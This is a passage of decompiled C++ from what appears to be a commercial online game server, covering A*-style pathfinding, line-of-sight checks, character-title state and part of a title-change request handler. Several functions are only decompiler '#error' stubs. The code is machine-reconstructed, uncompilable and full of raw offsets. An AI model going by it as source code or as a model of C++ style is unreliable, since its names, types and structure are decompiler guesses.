funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v27 = 0; std::vector>::resize( &Navigator::MapNavigator::nm_UnitPointList, 0, 0i64); std::vector>::push_back( &Navigator::MapNavigator::nm_UnitPointList, &goal); if ( maxdepth <= 0 ) { LABEL_13: v11 = (int)Where; LABEL_14: if ( dword_D769544 && (v11 - (signed int)dword_D769544) >> 3 < (unsigned int)((unk_D76954C - (signed int)dword_D769544) >> 3) ) { v13 = v11; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v11, 1u, (SHINE_XY_TYPE *)&goal, (std::allocator *)&Navigator::MapNavigator::nm_UnitPointList, (std::_Nonscalar_ptr_iterator_tag)maxdepth); Where = (std::vector >::iterator)(v13 + 8); } else { std::vector>::_Insert_n( &Navigator::MapNavigator::nm_UnitPointList, (std::vector >::iterator)v11, 1u, &goal); } v14 = dword_D769544; v15 = v23->mn_StepSize; v16 = start; v17 = v15 * dword_D769544[1]; pnt = start->np_RealX + v15 * *dword_D769544; v18 = 0; v19 = start->np_RealY + v17; v26 = 0; v25 = v19; if ( dword_D769544 != (_DWORD *)Where ) { v20 = (std::vector > *)pathbuffer; do { v21 = v23->mn_StepSize; v22 = v16->np_RealY + v21 * v14[1]; pnt = v16->np_RealX + v21 * *v14; v25 = v22; std::vector>::push_back( v20, (Navigator::NaviPoint *)&pnt); v14 += 2; ++v18; } while ( v14 != (_DWORD *)Where ); } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); result = v18; } else { v7 = goal.up_Y; v8 = goal.up_X; while ( 1 ) { v9 = Navigator::PathFindBuffer::operator__(&v23->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__(v7, v8)); if ( !v9 ) break; if ( v9->fpc_From.up_X == v8 && v9->fpc_From.up_Y == v7 ) goto LABEL_13; v8 = v9->fpc_From.up_X; v7 = v9->fpc_From.up_Y; goal.up_X = v9->fpc_From.up_X; goal.up_Y = v7; if ( dword_D769544 && (*(_DWORD *)&Where - (signed int)dword_D769544) >> 3 < (unsigned int)((unk_D76954C - (signed int)dword_D769544) >> 3) ) { v10 = Where; std::_Uninit_fill_n>( *(SHINE_XY_TYPE **)&Where, 1u, (SHINE_XY_TYPE *)&goal, (std::allocator *)&Navigator::MapNavigator::nm_UnitPointList, (std::_Nonscalar_ptr_iterator_tag)maxdepth); v11 = *(_DWORD *)&v10 + 8; Where = (std::vector >::iterator)(*(_DWORD *)&v10 + 8); } else { std::vector>::_Insert_n( &Navigator::MapNavigator::nm_UnitPointList, Where, 1u, &goal); v11 = (int)Where; } ++v6; if ( v6 >= maxdepth ) goto LABEL_14; } --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::nm_MakePath"); result = -1; } return result; } //----- (005920D0) -------------------------------------------------------- void __thiscall Navigator::PathAnalyzer::pa_Analyze(Navigator::PathAnalyzer *this) { Navigator::PathAnalyzer *v1; // esi@1 std::vector > *v2; // ecx@1 int v3; // eax@1 int blockstart; // [sp+10h] [bp-24h]@1 int v5; // [sp+14h] [bp-20h]@2 Navigator::NaviPoint blockgoal; // [sp+1Ch] [bp-18h]@3 int v7; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathAnalyzer::pa_Analyze"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathAnalyzer::pa_Analyze"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (std::vector > *)v1->pa_PointList.pas_Vector; v7 = 0; std::vector>::push_back(v2, &v1->pa_Start); Navigator::VirtualMap::vm_FindBlock( v1->pa_VirtualMap, (Navigator::NaviPoint *)&blockstart, v1->pa_Start.np_RealX, v1->pa_Start.np_RealY, v1->pa_Goal.np_RealX, v1->pa_Goal.np_RealY); v3 = v1->pa_Goal.np_RealX; if ( blockstart != v3 || v5 != v1->pa_Goal.np_RealY ) { Navigator::VirtualMap::vm_FindBlock( v1->pa_VirtualMap, &blockgoal, v3, v1->pa_Goal.np_RealY, v1->pa_Start.np_RealX, v1->pa_Start.np_RealY); std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, (Navigator::NaviPoint *)&blockstart); std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, &blockgoal); } std::vector>::push_back( &v1->pa_PointList.pas_Vector->baseclass_0, &v1->pa_Goal); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathAnalyzer::pa_Analyze"); } //----- (005921E0) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_Search(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathbuffer) { Navigator::MapNavigator *v7; // esi@1 signed int v8; // edi@1 int v9; // ebp@1 _BYTE v10[12]; // ST0C_12@4 Navigator::PathFindCell *v11; // eax@4 int v12; // edx@5 Navigator::PathFindCell *v13; // eax@5 int v14; // ebx@5 int v15; // edi@5 int v16; // eax@9 int result; // eax@14 int v18; // eax@15 int v19; // esi@15 int goal; // [sp+14h] [bp-2Ch]@1 int yB; // [sp+18h] [bp-28h]@1 unsigned int start; // [sp+1Ch] [bp-24h]@1 unsigned int v23; // [sp+20h] [bp-20h]@1 char v24; // [sp+24h] [bp-1Ch]@1 Navigator::VirtualMap *pfarg; // [sp+28h] [bp-18h]@5 Navigator::PathFindBuffer *v26; // [sp+2Ch] [bp-14h]@5 int v27; // [sp+30h] [bp-10h]@5 int v28; // [sp+3Ch] [bp-4h]@1 int startxa; // [sp+48h] [bp+8h]@2 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_Search"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = v7->mn_StepSize; start = startx; v23 = starty; v28 = 0; v24 = 0; v9 = (signed int)(goalx - startx) / v8; goal = (signed int)(goalx - startx) / v8; yB = (signed int)(goaly - starty) / v8; if ( !Navigator::PathFindBuffer::operator__( &v7->mn_CellBuffer, (Navigator::UnitPoint)__PAIR__((signed int)(goaly - starty) / v8, v9)) ) goto LABEL_14; startxa = Navigator::VirtualMap::vm_DistanceCalc(vm, 0, 0, v9, yB) + 30; if ( startxa < 30 ) startxa = 30; v7->mn_EmptyFlag = (v7->mn_EmptyFlag + 1) & 0x7FFFFFFF; *(_DWORD *)v10 = 0; *(_QWORD *)&v10[4] = 0i64; std::vector>::resize( &waitlist, 0, *(Navigator::UnitPointWithDistance *)v10); v11 = Navigator::PathFindBuffer::operator__(&v7->mn_CellBuffer, 0i64); if ( v11 && (v11->fpc_From.up_X = 0, v11->fpc_From.up_Y = 0, v11->fpc_Step = 0, v11->fpc_Distance = 0, v11->pfc_EmptyFlag = v7->mn_EmptyFlag, v12 = v7->mn_EmptyFlag, pfarg = vm, v27 = v12, v26 = &v7->mn_CellBuffer, starty = Navigator::VirtualMap::vm_DistanceCalc(vm, 0, 0, v9, yB), v13 = Navigator::PathFindBuffer::operator__(&v7->mn_CellBuffer, 0i64), v13->fpc_Distance = starty, v14 = startxa, v15 = Navigator::WaitingList::wl_StoreNeighbor( (Navigator::WaitingList *)&waitlist, (Navigator::PathFindArgument *)&pfarg, 0, 0, (Navigator::UnitPoint *)&goal, v7->mn_StepSize, (Navigator::NaviPoint *)&start), v15 <= startxa) && Navigator::WaitingList::wl_Pop((Navigator::WaitingList *)&waitlist, (int *)&goalx, (int *)&starty) ) { while ( v9 != goalx || yB != starty ) { v16 = Navigator::WaitingList::wl_StoreNeighbor( (Navigator::WaitingList *)&waitlist, (Navigator::PathFindArgument *)&pfarg, goalx, starty, (Navigator::UnitPoint *)&goal, v7->mn_StepSize, (Navigator::NaviPoint *)&start); if ( v16 > v15 ) { if ( v16 > v14 ) goto LABEL_14; if ( v14 > v16 + 30 ) v14 = v16 + 30; } v15 = v16; if ( !Navigator::WaitingList::wl_Pop((Navigator::WaitingList *)&waitlist, (int *)&goalx, (int *)&starty) ) goto LABEL_14; } v18 = Navigator::MapNavigator::nm_MakePath( v7, vm, (Navigator::UnitPoint)__PAIR__(yB, v9), (Navigator::NaviPoint *)&start, 1000, pathbuffer); --funcallanalizer.fca_stackpoint; v19 = v18; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); result = v19; } else { LABEL_14: --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_Search"); result = -1; } return result; } //----- (00592460) -------------------------------------------------------- int __thiscall Navigator::MapNavigator::mn_PathFind(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathfindvector) { Navigator::MapNavigator *v7; // ebp@1 unsigned int v8; // esi@1 unsigned int v9; // edi@1 _BYTE v10[12]; // ST0C_12@6 Navigator::NaviPoint *v11; // ecx@6 unsigned int v12; // eax@7 StaticVector *v14; // ebp@10 int v15; // eax@14 int v16; // esi@16 int v17; // edi@16 Navigator::NaviPoint *v18; // eax@17 int v19; // ecx@17 Navigator::NaviPoint *v20; // ecx@25 int v21; // eax@25 Navigator::NaviPoint *v22; // eax@26 int v23; // esi@27 signed int v24; // edx@28 Navigator::MapNavigator *thisa; // [sp+10h] [bp-4Ch]@1 unsigned int orgstartx; // [sp+14h] [bp-48h]@1 unsigned int orgstarty; // [sp+18h] [bp-44h]@1 int v28; // [sp+28h] [bp-34h]@0 StaticVector *pa; // [sp+2Ch] [bp-30h]@6 Navigator::VirtualMap *v30; // [sp+30h] [bp-2Ch]@6 unsigned int v31; // [sp+34h] [bp-28h]@6 unsigned int v32; // [sp+38h] [bp-24h]@6 char v33; // [sp+3Ch] [bp-20h]@6 unsigned int v34; // [sp+40h] [bp-1Ch]@6 unsigned int v35; // [sp+44h] [bp-18h]@6 char v36; // [sp+48h] [bp-14h]@6 Navigator::VirtualMap *v37; // [sp+4Ch] [bp-10h]@6 int v38; // [sp+58h] [bp-4h]@1 v7 = this; thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::MapNavigator::mn_PathFind"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = starty; v9 = startx; v38 = 0; orgstartx = startx; orgstarty = starty; if ( Navigator::VirtualMap::vm_IsBlocked(vm, startx, starty) ) { if ( !Navigator::MapNavigator::mn_ExitFromBlock(v7, vm, &startx, &starty) ) { LABEL_30: --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return -1; } v8 = starty; v9 = startx; } if ( !(_S4_2 & 1) ) { _S4_2 |= 1u; StaticVector::StaticVector(&pointlist, 1024); atexit(_E5_56); LOBYTE(v38) = 0; } *(_QWORD *)v10 = 0i64; LOBYTE(v28) = 0; *(_DWORD *)&v10[8] = v28; std::vector>::resize( &pointlist.baseclass_0, 0, *(Navigator::NaviPoint *)v10); v34 = goalx; pa = &pointlist; v30 = vm; v31 = v9; v32 = v8; v33 = 0; v35 = goaly; v36 = 0; v37 = vm; Navigator::PathAnalyzer::pa_Analyze((Navigator::PathAnalyzer *)&pa); v11 = pointlist.baseclass_0._Myfirst; if ( !pointlist.baseclass_0._Myfirst ) goto LABEL_30; v12 = pointlist.baseclass_0._Mylast - pointlist.baseclass_0._Myfirst; if ( v12 == 2 ) { std::vector>::operator_(pathfindvector, (int)&pointlist); --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return 2; } if ( v12 != 4 ) goto LABEL_30; v14 = pathfindvector; if ( pointlist.baseclass_0._Myfirst->np_RealX != pointlist.baseclass_0._Myfirst[1].np_RealX || pointlist.baseclass_0._Myfirst->np_RealY != pointlist.baseclass_0._Myfirst[1].np_RealY ) { std::vector>::push_back( &pathfindvector->baseclass_0, pointlist.baseclass_0._Myfirst); v11 = pointlist.baseclass_0._Myfirst; } if ( Navigator::MapNavigator::mn_Search( thisa, vm, v11[2].np_RealX, v11[2].np_RealY, v11[1].np_RealX, v11[1].np_RealY, v14) == -1 ) goto LABEL_30; std::vector>::push_back( &v14->baseclass_0, pointlist.baseclass_0._Myfirst + 3); v15 = (int)v14->baseclass_0._Myfirst; if ( v15 ) v15 = (signed int)((char *)v14->baseclass_0._Mylast - v15) / 12; v16 = v15 - 1; v17 = 1; starty = v15 - 1; if ( v15 - 2 > 1 ) { do { v18 = v14->baseclass_0._Myfirst; v16 = (v17 + v16) / 2; v19 = v16; if ( v18[v17].np_RealX != v18[v16].np_RealX || v18[v17].np_RealY != v18[v19].np_RealY ) { if ( Navigator::VirtualMap::vm_IsStreight( vm, v18->np_RealX, v18->np_RealY, v18[v19].np_RealX, v18[v19].np_RealY) ) { v17 = v16; v16 = starty; } else { starty = v16; } } else { v17 = v16; v16 = starty; } } while ( v17 < v16 - 1 ); } v14->baseclass_0._Myfirst->np_RealX = orgstartx; v14->baseclass_0._Myfirst->np_RealY = orgstarty; if ( v17 > 1 ) { v20 = v14->baseclass_0._Myfirst; v21 = (int)&v20[v17]; ++v20; v20->np_RealX = *(_DWORD *)v21; v20->np_RealY = *(_DWORD *)(v21 + 4); *(_DWORD *)&v20->np_IsDeleted = *(_DWORD *)(v21 + 8); } v22 = v14->baseclass_0._Myfirst; if ( v22 ) { v24 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v14->baseclass_0._Mylast - (char *)v22)) >> 32) >> 1; v23 = v24 + ((unsigned int)v24 >> 31); } else { v23 = 0; } --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::MapNavigator::mn_PathFind"); return v23; } //----- (005927D0) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_DistanceCalc(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB) { return DirectDistanceTable::ddt_Distance(&ddt, xA - xB, yA - yB); } //----- (00592800) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_IsBlocked(Navigator::VirtualMap *this, int x, int y) { int *v3; // esi@1 unsigned __int8 v4; // al@1 int v5; // esi@1 v3 = (int *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsBlocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_IsBlocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = FieldMap::fm_IsBlock( *v3, x, y, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsBlocked"); return v5; } //----- (005928B0) -------------------------------------------------------- int __thiscall Navigator::VirtualMap::vm_IsStreight(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB) { Navigator::VirtualMap *v5; // ebx@1 int result; // eax@2 signed int v7; // kr00_4@3 int v8; // edi@3 int v9; // esi@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_IsStreight"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (xA - xB) * (xA - xB) + (yA - yB) * (yA - yB) >= 25 ) { v7 = xB + xA; v8 = (yA + yB) / 2; if ( Navigator::VirtualMap::vm_IsBlocked(v5, (xB + xA) / 2, (yA + yB) / 2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = 0; } else { v9 = Navigator::VirtualMap::vm_IsStreight(v5, xA, yA, v7 / 2, v8) && Navigator::VirtualMap::vm_IsStreight(v5, v7 / 2, v8, xB, yB); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = v9; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_IsStreight"); result = 1; } return result; } //----- (00592A30) -------------------------------------------------------- Navigator::NaviPoint *__thiscall Navigator::VirtualMap::vm_FindBlock(Navigator::VirtualMap *this, Navigator::NaviPoint *result, int xA, int yA, int xB, int yB) { void **v6; // esi@1 signed int v7; // eax@1 signed int v8; // eax@1 int v9; // eax@2 unsigned int v11; // [sp-8h] [bp-44h]@4 unsigned int v12; // [sp-4h] [bp-40h]@4 int goal; // [sp+18h] [bp-24h]@1 int v14; // [sp+1Ch] [bp-20h]@1 int start; // [sp+20h] [bp-1Ch]@1 int v16; // [sp+24h] [bp-18h]@1 unsigned int block; // [sp+28h] [bp-14h]@1 unsigned int y; // [sp+2Ch] [bp-10h]@5 int v19; // [sp+38h] [bp-4h]@1 v6 = (void **)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::VirtualMap::vm_FindBlock"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::VirtualMap::vm_FindBlock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = yA; start = xA; v19 = 1; goal = xB; v14 = yB; v7 = DirectDistanceTable::ddt_Distance(&ddt, xA - xB, yA - yB); v8 = FieldMap::fm_FindBlockLocation( *v6, (int)&start, v7, (int)&goal, (int)&block, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock); if ( !v8 ) goto LABEL_6; v9 = v8 - 1; if ( v9 ) { if ( v9 == 1 ) { v12 = v14; v11 = goal; LABEL_7: Navigator::NaviPoint::NaviPoint(result, v11, v12); goto LABEL_8; } LABEL_6: v12 = v14; v11 = goal; goto LABEL_7; } Navigator::NaviPoint::NaviPoint(result, block, y); LABEL_8: --funcallanalizer.fca_stackpoint; LOBYTE(v19) = 0; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::VirtualMap::vm_FindBlock"); return result; } //----- (00592B60) -------------------------------------------------------- #error "592B60: undefined or illegal type '#593' (funcsize=15)" //----- (00592B90) -------------------------------------------------------- #error "592B90: undefined or illegal type '#593' (funcsize=3)" //----- (00592BA0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::InitNewPlayer(CCharacterTitleZone *this, int bFirstConnect) { CCharacterTitleZone *v2; // esi@1 int v3; // eax@1 v2 = this; CCharacterTitle::Clear(&this->baseclass_0); memset(v2->m_TitleValues, 0, sizeof(v2->m_TitleValues)); v2->m_MoneyGiveTimeValue = mysecond(0); v2->m_MoneyGivenToRegNum = -1; v2->m_MoneyBegTimeValue = mysecond(0); v2->m_MoneyBegnFromRegNum = -1; v2->m_KilledByMobHandle = -1; v2->m_KilledByMobTimeValue = mysecond(0); v2->m_PartyJoinPartyNo = -1; v3 = mysecond(0); v2->m_BoothSellCharNo = -1; v2->m_AuctionSellCharNo = -1; v2->m_PartyJoinTimeValue = v3; *(_DWORD *)&v2->m_nUpgradeItemNo.binary.gap0[0] = 65535; v2->m_nUpgradeItemNo.binary._bf4 = 0; v2->m_nUpgradeItemStatus = 2; } //----- (00592C40) -------------------------------------------------------- int __thiscall CCharacterTitleZone::SetTitleStatusZone(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue) { CT_TITLE *v4; // eax@1 int result; // eax@3 v4 = CCharacterTitle::GetGroupTitle(&this->baseclass_0, Type); if ( v4 ) { switch ( ElementNo ) { case 0: v4->_bf0 ^= (ElementValue ^ v4->_bf0) & 3; result = 1; break; case 1: v4->_bf0 ^= (v4->_bf0 ^ 4 * ElementValue) & 0xC; result = 1; break; case 2: v4->_bf0 ^= (v4->_bf0 ^ 16 * ElementValue) & 0x30; result = 1; break; case 3: v4->_bf0 = ((_BYTE)ElementValue << 6) | v4->_bf0 & 0x3F; result = 1; break; default: goto LABEL_7; } } else { LABEL_7: result = 0; } return result; } //----- (00592CE0) -------------------------------------------------------- int __thiscall CCharacterTitleZone::TitleValues_SaveCheck(CCharacterTitleZone *this, char Type) { CCharacterTitleZone *v2; // esi@1 int result; // eax@2 v2 = this; if ( CCharacterTitleData::IsTitleRefresh(this->baseclass_0.m_pCharacterTitleData, Type) == 1 ) result = 0; else result = v2->m_TitleValues[(unsigned __int8)Type].bTitleSave; return result; } //----- (00592D10) -------------------------------------------------------- int __thiscall CCharacterTitleDataStateServer::Read(CCharacterTitleDataStateServer *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize) { CCharacterTitleDataStateServer *v4; // esi@1 int result; // eax@1 CCharacterTitleDataStateServer *v6; // edx@2 signed int v7; // edi@2 int v8; // eax@3 signed int v9; // ecx@3 CDataReader::HEAD *v10; // eax@6 void *v11; // eax@12 int v12; // ecx@13 signed int v13; // ebx@13 int v14; // ebp@14 AbnormalStateDictionary::AbState::AbStateStr *v15; // eax@14 char *v16; // eax@14 AbnormalStateDictionary::AbState::AbStateStr *v17; // eax@15 CCharacterTitleDataStateServer *v18; // [sp+0h] [bp-4h]@1 int pFNa; // [sp+8h] [bp+4h]@13 signed int nVersionKeya; // [sp+Ch] [bp+8h]@7 unsigned int nStructSizea; // [sp+10h] [bp+Ch]@9 v4 = this; v18 = this; result = CDataReader::Read(&this->m_CharacterTitleDataStateData, pFN, nVersionKey, nStructSize); if ( result ) { v6 = v4; v7 = 244; do { v6->m_CT_DataState[0].nStateNum = 0; v8 = (int)&v6->m_CT_DataState[0].StateData[0].pAbStateDic; v9 = 6; do { *(_BYTE *)(v8 - 4) = 0; *(_DWORD *)v8 = 0; *(_DWORD *)(v8 + 4) = 0; v8 += 12; --v9; } while ( v9 ); v6 = (CCharacterTitleDataStateServer *)((char *)v6 + 76); --v7; } while ( v7 ); v10 = v4->m_CharacterTitleDataStateData.m_pHead; if ( v10 ) nVersionKeya = v10->nNumOfRecord; else nVersionKeya = 0; nStructSizea = 0; if ( nVersionKeya > 0 ) { while ( 1 ) { v11 = CDataReader::GetRecord(&v4->m_CharacterTitleDataStateData, nStructSizea); if ( !v11 ) break; v12 = *((_BYTE *)v11 + 4) + 4 * *(_DWORD *)v11; v13 = v4->m_CT_DataState[v12].nStateNum; pFNa = *((_BYTE *)v11 + 4) + 4 * *(_DWORD *)v11; if ( v13 > 6 ) break; v14 = (int)((char *)v4 + 12 * v13 + v12 * 76); *(_BYTE *)(v14 + 4) = *((_BYTE *)v11 + 37); v15 = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, (char *)v11 + 5); *(_DWORD *)(v14 + 8) = v15; v16 = v15->index->MainStateInx; if ( strncmp(v16, "-", 2) ) { v17 = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, v16); if ( !v17 ) break; *(_DWORD *)(v14 + 12) = v17; } v18->m_CT_DataState[pFNa].nStateNum = v13 + 1; ++nStructSizea; if ( (signed int)nStructSizea >= nVersionKeya ) return 1; v4 = v18; } result = 0; } else { result = 1; } } return result; } //----- (00592E70) -------------------------------------------------------- CT_DataState *__thiscall CCharacterTitleDataStateServer::GetStateData(CCharacterTitleDataStateServer *this, char Type, char ElementNo) { CT_DataState *result; // eax@3 if ( (unsigned __int8)Type >= 0x3Du || (unsigned __int8)ElementNo >= 4u ) result = 0; else result = (CT_DataState *)((char *)this + 76 * ((unsigned __int8)ElementNo + 4 * (unsigned __int8)Type)); return result; } //----- (00592EA0) -------------------------------------------------------- #error "592EA0: undefined or illegal type '#593' (funcsize=121)" //----- (00593070) -------------------------------------------------------- #error "593070: undefined or illegal type '#593' (funcsize=53)" //----- (00593160) -------------------------------------------------------- #error "593160: undefined or illegal type '#593' (funcsize=73)" //----- (00593290) -------------------------------------------------------- #error "593290: undefined or illegal type '#593' (funcsize=124)" //----- (00593450) -------------------------------------------------------- #error "593450: undefined or illegal type '#593' (funcsize=97)" //----- (00593570) -------------------------------------------------------- #error "593570: undefined or illegal type '#593' (funcsize=28)" //----- (005935C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ(void *me, WEAPON_TITLE_DATA *netcmd, int pWTData, __int16 handle) { int v4; // esi@1 signed int v5; // ebx@1 int v6; // edx@1 int v7; // edi@1 int v8; // ebp@1 ItemTotalInformation *v9; // eax@9 int v10; // ebx@9 char v11; // bl@12 unsigned __int16 v12; // ax@12 char v13; // cl@15 int v14; // eax@15 int v15; // ebx@15 int v16; // ebp@15 int v17; // eax@15 char v18; // cl@15 CT_DataState *v19; // eax@15 int v20; // ebp@17 int v21; // ebx@18 bool v22; // zf@18 ABSTATEINDEX v23; // ST28_4@20 AbnormalStateContainer::AbstateListInObject *v24; // eax@20 WEAPON_TITLE_DATA *v25; // ebx@22 ABSTATEINDEX v26; // ST28_4@22 AbnormalStateContainer::AbstateListInObject *v27; // eax@22 char *v28; // eax@26 int v29; // ecx@27 int v30; // ebp@28 int v31; // edi@29 unsigned __int8 v32; // al@29 int v33; // ebx@30 int v34; // eax@30 char v35; // [sp+1Ch] [bp-48h]@4 char v36; // [sp+20h] [bp-44h]@4 char v37; // [sp+20h] [bp-44h]@13 unsigned __int16 v38; // [sp+24h] [bp-40h]@4 char v39; // [sp+24h] [bp-40h]@13 unsigned __int16 v40; // [sp+28h] [bp-3Ch]@4 CT_ELEMENT_VALUE v41; // [sp+28h] [bp-3Ch]@13 CT_INFO UseTitle; // [sp+3Ch] [bp-28h]@15 ITEM_INVEN WeaponInven; // [sp+40h] [bp-24h]@9 int CurrentTitle; // [sp+44h] [bp-20h]@12 int CurrentTitleElement; // [sp+48h] [bp-1Ch]@12 int nStateNum; // [sp+4Ch] [bp-18h]@1 int WeaponMobLevel; // [sp+50h] [bp-14h]@10 FunctionEntarance _; // [sp+54h] [bp-10h]@1 int v49; // [sp+60h] [bp-4h]@1 v4 = (int)me; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)v4; v49 = 0; v7 = (int)&netcmd->Level; v8 = (*(int (__thiscall **)(int))(v6 + 1052))(v4); LOBYTE(nStateNum) = *(_BYTE *)(v7 + 1); netcmd = 0; if ( !(_S5_66 & 1) ) { _S5_66 |= 1u; stru_14BA189C.cmc_AllowMode = 6; atexit(_E6_84); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & stru_14BA189C.cmc_AllowMode) ) { v40 = 2563; v38 = *(_WORD *)(v7 + 2); v36 = *(_BYTE *)(v7 + 1); v35 = *(_BYTE *)v7; LABEL_37: CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK((CCharacterTitleZone *)v8, v35, v36, v38, v40); v49 = v5; goto LABEL_38; } if ( !ShineObjectClass::ShinePlayer::sp_CharTitleChangeAvailable(v4) ) { v40 = 2564; v38 = *(_WORD *)(v7 + 2); v36 = *(_BYTE *)(v7 + 1); v35 = *(_BYTE *)v7; goto LABEL_37; } if ( !CCharacterTitle::IsUsableTitle((CCharacterTitle *)v8, *(_BYTE *)v7, *(_BYTE *)(v7 + 1), *(_WORD *)(v7 + 2)) ) goto CT_SET_CURRENT_FAIL; if ( *(_BYTE *)v7 == 10 ) { v9 = (ItemTotalInformation *)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)v4 + 1964))(v4, &WeaponInven); v10 = (int)v9; if ( v9 ) { netcmd = CWeaponTitleZone::GetLevelData(&gWeaponTitle, *(_WORD *)(v7 + 2), v9, (unsigned int *)&WeaponMobLevel); if ( netcmd ) { *(_WORD *)(v10 + 35) = *(_WORD *)(v7 + 2); ShineObjectClass::ShinePlayer::sp_AttrChange2DB((void *)v4, v10, *(_DWORD *)(v10 + 112), v10, (int)&WeaponInven); netcmd = (WEAPON_TITLE_DATA *)((char *)netcmd + 3); LOBYTE(nStateNum) = WeaponMobLevel; goto LABEL_12; } } v5 = -1; CT_SET_CURRENT_FAIL: v40 = 2562; v38 = *(_WORD *)(v7 + 2); v36 = *(_BYTE *)(v7 + 1); v35 = *(_BYTE *)v7; goto LABEL_37; } LABEL_12: v11 = *(_BYTE *)(v8 + 561); v12 = *(_WORD *)(v8 + 562); LOBYTE(CurrentTitle) = *(_BYTE *)(v8 + 560); LOBYTE(CurrentTitleElement) = v11; if ( CCharacterTitle::IsUsableTitle((CCharacterTitle *)v8, 